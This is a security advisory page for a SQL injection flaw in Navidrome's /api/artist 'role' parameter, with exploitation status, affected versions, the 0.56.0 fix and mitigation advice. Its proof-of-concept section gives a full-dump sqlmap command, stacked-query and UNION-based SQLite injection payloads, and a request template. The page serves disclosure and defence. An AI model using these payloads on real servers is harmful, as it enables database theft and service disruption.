Navidrome allows SQL Injection via role parameterGHSA-5wgp-vjxm-3x2r
Fix: navidrome/navidrome@b19d5f0GHSA-5wgp-vjxm-3x2r is a SQL Injection vulnerability in github.com/navidrome/navidrome. A fix is available for github.com/navidrome/navidrome — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-5wgp-vjxm-3x2r.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
github.com/navidrome/navidromeReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
🛡 Security Advisory: SQL Injection Vulnerability in Navidrome v0.55.2
Overview
This vulnerability arises due to improper input validation on the role parameter within the API endpoint /api/artist. Attackers can exploit this flaw to inject arbitrary SQL queries, potentially gaining unauthorized access to the backend database and compromising sensitive user information.
Details
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Vulnerable Component: API endpoint →
/api/artistParameter →role -
Vulnerability Type: SQL Injection (stacked queries, UNION queries)
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Database Affected: SQLite (confirmed exploitation via SQLite-specific payloads)
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Impact: Successful exploitation allows an unauthenticated attacker to:
- Execute arbitrary SQL commands
- Extract or manipulate sensitive data (e.g., user records, playlists)
- Potentially escalate privileges or disrupt service availability
Proof of Concept (PoC)
Example Exploit Command:
sqlmap.py -r navi --level 5 --risk 3 -a --banner --batch --tamper charencode --dbms sqlite
Sample Payloads:
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Stacked Queries:
http://navidrome/api/artist?_end=15&_order=ASC&_sort=name&_start=0&role=albumartist');SELECT LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2))))-- -
UNION-Based Query:
http://navidrome.local/api/artist?_end=15&_order=ASC&_sort=name&_start=0&role=albumartist') UNION ALL SELECT 92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,CHAR(113,98,118,98,113)||CHAR(113,84,86,119,114,71,106,104,90,118,120,104,79,66,104,108,121,106,70,68,90,113,104,117,67,98,113,67,103,84,71,120,119,119,117,121,81,76,100,71)||CHAR(113,120,112,106,113),92,92,92,92-- Mtny
Example HTTP Request:
GET /api/artist?_end=15&_order=ASC&_sort=name&_start=0&role=albumartist* HTTP/2
Host: <TARGET HOST>
Cookie: <REPLACE WITH VALID COOKIE>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: application/json
X-Nd-Authorization: <REPLACE WITH AUTH TOKEN>
X-Nd-Client-Unique-Id: <REPLACE WITH CLIENT ID>
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/navidrome/navidrome | ≥ 0.55.0&&< 0.56.0 | 0.56.0go get github.com/navidrome/navidrome@v0.56.0 |
Affected Products
navidromenavidromeDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/navidrome/navidrome, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/navidrome/navidrome to 0.56.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-5wgp-vjxm-3x2r is resolved across your whole dependency graph.
Workarounds
Until you can upgrade, make sure every query built from user input uses parameterised statements or a prepared-statement API rather than string concatenation, and reduce the database account's privileges so an injected query cannot read or alter data beyond what the feature needs.
Frequently Asked Questions
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